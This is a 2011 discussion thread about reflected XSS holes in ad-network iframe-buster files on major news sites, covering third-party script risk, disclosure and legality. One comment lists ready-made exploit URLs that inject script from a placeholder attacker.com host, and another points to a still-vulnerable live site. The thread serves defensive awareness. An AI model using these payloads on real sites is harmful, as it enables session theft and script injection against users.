News for hackers. Stuff that matters.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by tptacek on Thursday October 20, 2011 @09:17PM (#3137877)
Generalizing this out just a little bit: please be aware that when you source Javascript from places like TypeKit or Crazyegg or whatnot, you're setting the security of your web app at the lowest common denominator of all those sites.

It's not just a question of whether the script they're providing you today is safe; it's a question of whether their own applications are sound enough to prevent an attacker from popping them and changing what the script says.

I think the modern vogue for sourcing Javascript from random API providers is a bad idea; I predict that the badness of that idea is going to become more and more evident over the next few years; I think you'd be well-served by investigating how much of that stuff you can serve directly.

Re:CNN, NYTimes, Mashable all vulnerable to XSS by nitrogen on Thursday October 20, 2011 @10:35PM (#3138101)
How far would you go in hosting locally? Would your recommendation also apply to Google Analytics or CDN-hosted jQuery, for example?
Re:CNN, NYTimes, Mashable all vulnerable to XSS by tptacek on Friday October 21, 2011 @12:22AM (#3138407)
It drives me up a wall when people use CDN jQuery. Just host jQuery.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by niyazpk on Friday October 21, 2011 @12:56AM (#3138492)
Why?
Re:CNN, NYTimes, Mashable all vulnerable to XSS by tptacek on Friday October 21, 2011 @01:10AM (#3138520)
Because every page in the app is bound to carry the jQ dep, and you can just as easily provide your own static file hosting for jQ. It seems like a pointless complication to the security model of an app, to take its core Javascript framework library and host it offsite.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by theroo on Friday October 21, 2011 @01:45AM (#3138612)
You really think your home-rolled static file store will be more resistant to compromise than Google?
Re:CNN, NYTimes, Mashable all vulnerable to XSS by tptacek on Friday October 21, 2011 @01:53AM (#3138628)
This question is nonsensical. If you can't host a static file you are screwed no matter what. We can argue about how much of a risk Google CDN is (I don't think it's much of one), but it's not zero.

"Home rolled static file store"? Sheesh.

Re:CNN, NYTimes, Mashable all vulnerable to XSS by pestaa on Friday October 21, 2011 @02:24AM (#3138691)
No offense, but from my perspective you're getting a little rude here without really explaining the situation.

So far I grasped from you that external static files compromise the security model so much it's worth the time and effort to keep up to date with them locally and be okay if the page load times suffer (they do especially with minimalist sites.)

I understand the risk that Google CDN might be hacked and turned into a data mining monster, but it would, at the same time, infect so many important and popular sites on the whole web, I can't even imagine my sites being targeted.

Re:CNN, NYTimes, Mashable all vulnerable to XSS by dekz on Friday October 21, 2011 @08:38AM (#3139441)

    but it would, at the same time, infect so many important and popular sites on the whole web, I can't even imagine my sites being targeted.
Maybe, or maybe it's exploited to target only your site by detecting referrers and only serving your site malicious javascript. Thomas is correct in arguing to host your own.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by pestaa on Friday October 21, 2011 @09:53AM (#3139714)
This implies I can do it better than Google or any other big-name-company CDN I happen to trust.

I don't know about you or Thomas, but this isn't true for me.

Re:CNN, NYTimes, Mashable all vulnerable to XSS by tptacek on Friday October 21, 2011 @12:36PM (#3140540)
You ignored the point I'm making. You don't have a choice but to do "static file hosting" securely.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by speleding on Friday October 21, 2011 @05:53AM (#3139117)
Lots of sites use Google's CDN so it's very likely the file is already in your user's cache. That seems like a nice little speed bonus if the only trade off is the theoretical risk that Google's CDN might be more easily hacked than your own server.

As an aside, I notice on my site there are a few precent of visitors with security settings on their browser that prevent loading from Google's CDN (actually, there's usually an internet security product of some sort interfering). So you're going to have to provide a fallback to a file on your own server anyway.

Re:CNN, NYTimes, Mashable all vulnerable to XSS by Udo on Friday October 21, 2011 @06:16AM (#3139168)
Of course! Your whole app is hosted on your server, you're already hosting a bazillion images and other files, including scripts and CSS - if your server is compromised it won't matter much whether your jquery.js is safe or not. Also, aside from security concerns, you're adding an unnecessary single point of failure to your project.

Sure, CDNs are advertised as super reliable and stable and whatnot, but all services go down once in a while. As with every monoculture, there will be large scale outages. It's something developers would be better off acknowledging and planning for upfront instead of having a heart attack whenever a service goes down "unexpectedly".

Re:CNN, NYTimes, Mashable all vulnerable to XSS by pestaa on Friday October 21, 2011 @09:56AM (#3139722)
There is a way to fall back to locally hosted version in case the primary one goes down. Still not convinved I should give up on the speed bonus a precached asset gives me.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by wx77 on Friday October 21, 2011 @10:56AM (#3139999)
Thomas wasn't really discussing about this in regards to the external CDN going down he was discussing it in regards to the CDN being a large point of attack with little benefit to your speed increase.

Look at it this way: if google's jquery is attacked and becomes compromised you and everyone else who uses it has become compromised because you were relying on third party security.

Next if you use jquery from google's cdn for the reason of they can do file security better than you you are already fucked because if someone is targeting your specific jquery hosted on your server chances are you are compromised in other ways.

If you want to use it for the precaching you can but I don't think precaching the 100kb jquery is really going to give you that much benefit in the long run, especially if your website is an application or something along those lines.

Re:CNN, NYTimes, Mashable all vulnerable to XSS by nikcub on Friday October 21, 2011 @06:11AM (#3139154)
The worst offenders here are those who host their jQuery and offer it to others on a domain that is also being used to host other web applications.

For eg. company xyz.com is a hosting company, but it also offers jQuery and other javascript at cdn.xyz.com.

A client of the company at client.xyz.com is setting a cookie for its users but sets it as xyz.com. Now everybody else that is using cdn.xyz.com will also see those cookies.

One example of this is the cloudflare CDN[1]. All of their clients and all of their hosted javascript is on the same domain. Test it out by checking the cookies your browser sends along[2], I see random Techcrunch cookies (they used cloudflare on a site)

[1] http://www.cdnjs.com/

[2] http://cdnjs.cloudflare.com/ajax/libs/backbone.js/0.5.3/back...

Re:CNN, NYTimes, Mashable all vulnerable to XSS by sesqu on Thursday October 20, 2011 @10:44PM (#3138121)
I think it's important to also notice that attackers (most recently Duqu) are increasingly often using valid certificates. The more parties you trust, the easier it is for an attacker to find a weak link.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by nbpoole on Thursday October 20, 2011 @06:31PM (#3137416)
Interesting: MySpace seems to have a "fixed" version of the code (but the date indicates that it isn't a recent fix):

http://www.myspace.com/eyewonder/interim.html

    <script language="JavaScript">
    // NEW CODE 09-14-05
    var query = window.location.search;
   	var adUrl = query.substring(5, query.length);
   	var clickthru;
   	var failclickthru;
   	if (/^http:\/\/([-a-z0-9]+\.)*eyewonder\.com\//i.test(adUrl) && adUrl.indexOf('"') == -1) {
			document.write('<s'+'cript language="JavaScript" src="');
			document.write(adUrl+'"></s'+'cript>');
		}
    </script>
Re:CNN, NYTimes, Mashable all vulnerable to XSS by cheald on Thursday October 20, 2011 @07:22PM (#3137588)
So, I'm cleaning this up on our servers, and there are a bunch of other ad networks that appear to be vulnerable. Adcentric and Adinterax appear to be vulnerable. addineyev2 appears to be vulnerable as well.

Edit: Pointroll, eyeblaster also vulnerable. Unicast is vulnerable, but it'd be very hard to exploit.

Whoever wrote these stub files should be flogged Old Testament style. This is just negligent.

The good news is that the headline isn't accurate anymore. :)

Re:CNN, NYTimes, Mashable all vulnerable to XSS by Semiapies on Friday October 21, 2011 @06:55PM (#3142079)
Still worked on CNN when I tried it just now.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by kemayo on Thursday October 20, 2011 @05:52PM (#3137254)
It's an example of a fairly typical XSS hole in the HTML an advertiser has provided. It just felt worth posting about because the sites involved are high profile. Shows that even the big players don't always watch their inputs.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by ChuckMcM on Thursday October 20, 2011 @09:04PM (#3137845)
From the article "Also, don't trust your ad networks to know/care about security."

This is one of those things that I wish something akin to Amazon's Silk browser would be useful.

Replace the javascript with <img src=adnetwork/myid.png> and have the script run on their end which provides the pre-rendered advertisement.

Yes I realize its not that simple, listening to Brandon Downey at Google explain all the ways one might mount an XSS attack was always both awe inspiring and depressing at the same time. We've seen a number of ad network issues, it seems like a common attack surface.

Re:CNN, NYTimes, Mashable all vulnerable to XSS by rmc on Friday October 21, 2011 @06:33AM (#3139211)
Ah but the advertisers want dynamic ads and tracking and stuff!
Re:CNN, NYTimes, Mashable all vulnerable to XSS by loopdoend on Thursday October 20, 2011 @06:16PM (#3137352)
That is a massive hole. Very nice find. I hope you notified the ad network of this before you posted it though, responsible disclosure of these things is important because this hole can now be used by anyone to do pretty much anything. The most obvious thing that comes to mind is a spammer using this to redirect traffic through a third party domain which is whitelisted.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by kemayo on Thursday October 20, 2011 @06:23PM (#3137388)
They were a bit lacking in an obvious right person to email[1], but I did send a quick "hey there's a problem" note. I almost didn't when I saw that their main "contact us" page was a "opt in for us to email you" form, but then I found some actual email addresses rather further down.

[1]: http://www.eyewonder.com/contact.php

Re:CNN, NYTimes, Mashable all vulnerable to XSS by GICodeWarrior on Thursday October 20, 2011 @06:32PM (#3137419)
I just sent an email to sitesupport@, websites@ (both from whois), abuse@, noc@, webmaster@, security@ (from RFC2142).

Generally you should attempt to receive a response before posting vulnerabilities though...

Re:CNN, NYTimes, Mashable all vulnerable to XSS by kemayo on Thursday October 20, 2011 @06:38PM (#3137436)
Past experience dealing with ad networks about this issue has led me to believe that they really don't care.

Multiple networks, multiple framebusting scripts they want you to host, all with blatant security holes that they don't want to fix after you (as a client) point them out.

Or maybe it's that the people in the organization who might care are completely insulated from the channels available to people who are dealing with the network as a client. Hard to say.

Re:CNN, NYTimes, Mashable all vulnerable to XSS by GICodeWarrior on Thursday October 20, 2011 @06:19PM (#3137368)
Re:CNN, NYTimes, Mashable all vulnerable to XSS by mentat on Friday October 21, 2011 @07:27PM (#3142188)
Very nice. I always forget to get the Google scale of these sorts of issues.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by bbastian on Thursday October 20, 2011 @06:41PM (#3137444)
This makes me wonder; how is it appropriate to handle vulnerabilities such as these?

A few months ago, I decided (as an experiment to see how common XSS actually is) to click on random HN links and type "<asdf '\"" into any search bars and look for weird rendering on the page or weird behaviour in the page source. After half an hour, I had five or so exploitable XSS vulnerabilities, two of the more prominent ones being CNN and Newegg. I sent emails to their security-related issue addresses, but they never responded or fixed the issue.

After sending them a couple more emails, I just gave up. But this article makes me wonder, could I have handled the situation better? The thought of releasing a benign-but-scary exploit crossed my mind, b ut I'm uncertain...

Re:CNN, NYTimes, Mashable all vulnerable to XSS by Joakal on Thursday October 20, 2011 @06:54PM (#3137485)
1) Follow their contact us request (Likely an email to the general address) and make a task note in a month to review the correspondence (stateless).

2) If no reply in that timeframe, make a blog post and a recommendation to listen to security reports. Post to HN. Public shame upon them to do two things aforementioned.

I'm happy with this for my projects. I take security reports very seriously and it's the only development priority over cat pictures.

For monetary incentive: Major websites will give a reward for reporting to them.

Re:CNN, NYTimes, Mashable all vulnerable to XSS by cowkingdeluxe on Thursday October 20, 2011 @07:27PM (#3137608)
You're much more likely to get in trouble with the law yourself than gain any benefit out of the situation. IT departments will be quick to blame a "hacker" instead of themselves for the vulnerability.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by thezilch on Friday October 21, 2011 @04:41AM (#3138984)
The article is currently down, but the skinny of the deal is many advertisers will have you host "frame buster" [html] documents, so that they can execute javascript outside of your ad iframes. Some are terribly bad at providing clean source and exploitable by XSS, allowing an attacker to execute arbitrary javascript on your site.

The following are some in-the-wild documents that exhibit these behaviors, and you should remove, modify, or beware before further use.

  /videoegg/vedoc.html
  http://www.yoursite.com/videoegg/vedoc.html?tagid=foo&tagurl=http://www.attacker.com/malicious-js/

  /adx-iframe-v2.html
  http://www.yoursite.com/adx-iframe-v2.html?ad=www.attacker.com/malicious-js/%22mi.adinterax.com/js/y&vm=r&P=Y&adx_D_180421=h

  /eyereturn.html
  http://www.yoursite.com/eyereturn.html?foo%22%3E%3C/script%3E%3Cscript%20src=http://www.attacker.com/malicious-js/%3E

  /ifr_b.html
  http://www.yoursite.com/ifr_b.html?c=foo%22%3E%3C/script%3E%3Cscript%20src%3Dhttp://www.attacker.com/malicious-js/%3E

  /interim.html
  http://www.yoursite.com/interim.html?src=http://www.attacker.com/malicious-js/

  /eyewonder/interim.html
  http://www.yoursite.com/eyewonder/interim.html?src=http://www.attacker.com/malicious-js/

  /oggiPlayerLoader.htm -- requires framing the advert
  <iframe src="http://www.yoursite.com/oggiPlayerLoader.htm?version=1&tHtml=%3Cscript src%3Dhttp://www.attacker.com/malicious-js/%3E%3C/script%3E" style="display: block !important; width: 100%; height: 100%;">
Re:CNN, NYTimes, Mashable all vulnerable to XSS by llimllib on Thursday October 20, 2011 @06:51PM (#3137472)
So, this guy is bragging about committing a felony, right?

(I think it's a very neat hack and that he shouldn't have to be worried, but... am I right? Is this in fact a felony? Less?)

Re:CNN, NYTimes, Mashable all vulnerable to XSS by tptacek on Thursday October 20, 2011 @09:19PM (#3137884)
I wish people would stop downmodding you to lightgrey just because they don't like what you're saying, because while "committing a felony" is a somewhat breathless way to word this, it's not absolutely false: you can conceivably be prosecuted for doing stuff like this.

In Lynch's case, he's fantastically unlikely to get into anything more than PR trouble over telling people about an XSS bug. But people have gotten into real trouble over what they thought was benign investigation.

Web developers put a lot of effort into making web apps feel like they're running on your own computer, but under the law, when you click around on a web app, you are interacting with someone else's property.

Re:CNN, NYTimes, Mashable all vulnerable to XSS by llimllib on Thursday October 20, 2011 @09:50PM (#3137973)
Thanks... I really did mean that as a question, I should have been clearer.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by vinhboy on Thursday October 20, 2011 @06:56PM (#3137491)
I hope not. He hasn't done anything at all. Unless its used maliciously. Like, if he went into CNN comments and posted a link that forced users to repost his comment, steal passwords, etc... Otherwise this is almost like me telling you to post javascript:alert('you are ugly'); in your browser.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by driverdan on Thursday October 20, 2011 @07:36PM (#3137637)
No, exposing public security holes is not a crime.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by tptacek on Thursday October 20, 2011 @09:13PM (#3137874)
That's a point that can be very expensive to make. The line is blurry. You're unlikely to cross it testing for XSS (particularly this reflected stuff). But it can be easy to cross it looking for (and, particularly, at) SQL injection or authorization bypass.

You should be extremely cautious testing other people's sites for security vulnerabilities.

Re:CNN, NYTimes, Mashable all vulnerable to XSS by jeltz on Thursday October 20, 2011 @06:57PM (#3137493)
Hmm, what crime would that be? He has not sabotaged anything on the vulnerable websites, he has not used it to gain access to any data, and he has not used it to impersonate or trick anyone.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by llimllib on Thursday October 20, 2011 @07:01PM (#3137513)
I'm reading the laws now... It seems that "unauthorized access" itself, may be a crime which he has committed? Also, the laws vary by state and I'm having trouble figuring out what the federal laws are.

Obviously, he didn't commit any fraud or steal any information, and I can't imagine anyone would want to prosecute him.

edit: it looks like he's probably relatively in the clear on this? Most of the laws seem to require intent, fraud, or thievery. It's all very confusing.

edit 2: downvotes? I'm sorry for worrying that our laws and legal system sucks?

Re:CNN, NYTimes, Mashable all vulnerable to XSS by kemayo on Thursday October 20, 2011 @07:04PM (#3137521)
A lot would depend on how "access" is defined, I imagine.

What I did was provide input to a publicly accessible script on their server. I didn't have to "break in" to anything to do so, or to find out about it. So it'd hinge on whether or not using someone's website in a way they didn't intend you to counts as being "unauthorized access".

Standard case of "most persuasive lawyer wins".

Re:CNN, NYTimes, Mashable all vulnerable to XSS by tptacek on Thursday October 20, 2011 @09:21PM (#3137890)
In other words, "you lose".

I say that in a spirit of helpfulness, not snark.

Re:CNN, NYTimes, Mashable all vulnerable to XSS by rhizome on Thursday October 20, 2011 @09:27PM (#3137909)
Look up the Lori Drew Myspace bullying case, exceeding TOU was most of the prosecution's strategy, and it almost worked.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by jeltz on Thursday October 20, 2011 @07:04PM (#3137522)
Possibly but I doubt it. He has only made people access their own web browsers, so while there might be a case for unauthorized access it seems very weak to me.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by aidenn0 on Thursday October 20, 2011 @10:24PM (#3138073)
I've run into several XSS vulnerabilities that were easily detected just by NoScript. The most blatant was on a banking related site where the contents of a POST requests get put directly between the <head></head> tags. I considered reporting them, but have heard too many horror stories of legal action being brought about against reporters of such vulnerabilities that even if the chance is very low, it's a hassle I just don't want to deal with now.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by genieyclo on Thursday October 20, 2011 @07:27PM (#3137605)
Plenty of big sites get posted pretty much daily to /r/xss, not to take away from the severity of the problem in having big holes like this in ad networks.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by qeorge on Thursday October 20, 2011 @07:01PM (#3137511)
If one opens Google News and visits sites at random, you'll find at least 1 in 5 has an XSS vulnerability in their search box. Its really incredible. Just type <plaintext> into the search box, and you'll be shocked how many sites break.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by dendory on Thursday October 20, 2011 @09:46PM (#3137953)
Heh this is pretty funny actually. The third site I tried, randomly, ended up being vulnerable:

http://www.dziennik.pl/szukaj?q=%3Cfont+size%3D%2B10%3E&...

Re:CNN, NYTimes, Mashable all vulnerable to XSS by mbesto on Friday October 21, 2011 @03:51AM (#3138867)
I'll just leave this here...

http://www.reddit.com/r/xss

Re:CNN, NYTimes, Mashable all vulnerable to XSS by vinhboy on Thursday October 20, 2011 @06:44PM (#3137453)
Re:CNN, NYTimes, Mashable all vulnerable to XSS by antimatter15 on Friday October 21, 2011 @12:43AM (#3138457)
You could even use HTML5 History pushState to get rid of that /eyewonder/interim part of the URl and it'll look totally authentic.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by drwxrwxrwt on Thursday October 20, 2011 @11:57PM (#3138332)
This is by no means a new exploit. I've know about it for about a year and sent warning emails to rather large players. The response, when I got one, was that its the industry standard. Publisher's developers see the scripts when network request to host them, and they often raise the issue. Yet the type of the ads that require those frame busters pay well, and unfortunately those concerns are swept away.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by phatbyte on Thursday October 20, 2011 @09:21PM (#3137893)
Couldn't this be simple solved with X-Content-Security-Policy header in order to prevent non-authorized domains to run objects on the site ?
Re:CNN, NYTimes, Mashable all vulnerable to XSS by tptacek on Thursday October 20, 2011 @09:35PM (#3137926)
When most browsers support CSP, maybe. Most don't today.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by js4all on Saturday October 22, 2011 @05:56AM (#3143261)
Those sites are fixed now. If you want to see the effect live, here is another one which still works: http://www.flightstats.com/go/eyewonder/interim.html?src=htt...
Re:CNN, NYTimes, Mashable all vulnerable to XSS by msmith on Thursday October 20, 2011 @06:48PM (#3137463)
It's interesting that someone went out of their way to obfuscate the interim.html script:

    document.write('<s'+'cript language="JavaScript" src="');
I guess they were intentionally trying to evade some tool that looks for '<script'?
Re:CNN, NYTimes, Mashable all vulnerable to XSS by jeltz on Thursday October 20, 2011 @06:50PM (#3137471)
My theory is just overzealous protection against having the </script> end tag break that JavaScript block early. Escaping the end tag is necessary.

  document.write(adUrl+'"></s'+'cript>');
Re:CNN, NYTimes, Mashable all vulnerable to XSS by xentronium on Friday October 21, 2011 @01:20AM (#3138550)
http://stackoverflow.com/questions/236073/why-split-the-scri...

Found a stack overflow question with explanation. Again, I believe, only IE couldn't handle word script in the literal string.

Re:CNN, NYTimes, Mashable all vulnerable to XSS by msmith on Friday October 21, 2011 @12:24PM (#3140483)
Ah, I see. Thanks for the pointer.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by lftl on Thursday October 20, 2011 @09:49PM (#3137969)
It's been awhile since I played with it, but I believe there's a legitimate reason for breaking the <script. Possibly one of the older browsers had a broken parser that would interpret that as the beginning of a new script tag?
Re:CNN, NYTimes, Mashable all vulnerable to XSS by xentronium on Friday October 21, 2011 @01:14AM (#3138531)
I believe, it's some sort of IE hack.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by fauldsh on Thursday October 20, 2011 @06:29PM (#3137409)
I swear there is a pun in here somewhere, eyewonder if any-one else felt this way?

Seeing things like this affect such big sites always scares me, good find.

Re:CNN, NYTimes, Mashable all vulnerable to XSS by anons2011 on Friday October 21, 2011 @06:22AM (#3139183)
On the whole XSS is pretty much useless, as it's Non persistent HTML/JS or whatever.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by rmc on Friday October 21, 2011 @06:35AM (#3139217)
XSS allows you to read all the cookies of someone who follows your link, and let's you (sorta) interact with that webpage as that user.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by anons2011 on Friday October 21, 2011 @06:46AM (#3139238)
Yes but no sensitive data would ever be stored in a cookie. There would be other authentication, so it wouldn't just rely on having a stolen cookie.
Re:CNN, NYTimes, Mashable all vulnerable to XSS by WA on Friday October 21, 2011 @07:43AM (#3139340)
The session identifier IS sensitive enough. If you get this, you have access to the system with the victim's user profile. Do you really believe that developers implement additional session security if they fail to provide proper input validation? Most of the time - I don't think so.

Furthermore, "other" authentication is almost always more or less broken. The only way "other" authentication could work is to check the user's IP address (which by itself adds only a bit of security - think of a public WiFi, e. g. Starbucks) or browser features (which is not a reliable security factor as this can easily be spoofed).

So, authentication usually works by transmitting session identification cookies.

httpOnly and secure flags come to mind when trying to secure session ids, but XSS can also be used to modify the DOM on the fly and to inject a nice little fake login form that lets you steal the sensitive information in plaintext (with a bit of user interaction though).

What else can you do with XSS? Drive-by downloads exploiting browser plugins, exploitation frameworks such as BeEF, keyloggers etc.

Edit: Non-persistent XSS is surely less dangerous than persistent XSS, but nevertheless, it is a threat and most of the time, an indicator for a generally flawed Web application that should not be downplayed.

Re:CNN, NYTimes, Mashable all vulnerable to XSS by rmc on Saturday October 22, 2011 @05:42PM (#3144392)
The session id is stored in the cookie. if you can read that, then you can convince the website that you are that user, and hence do (just about everything (depending on how often the website asks for password)) that that user can do on that website.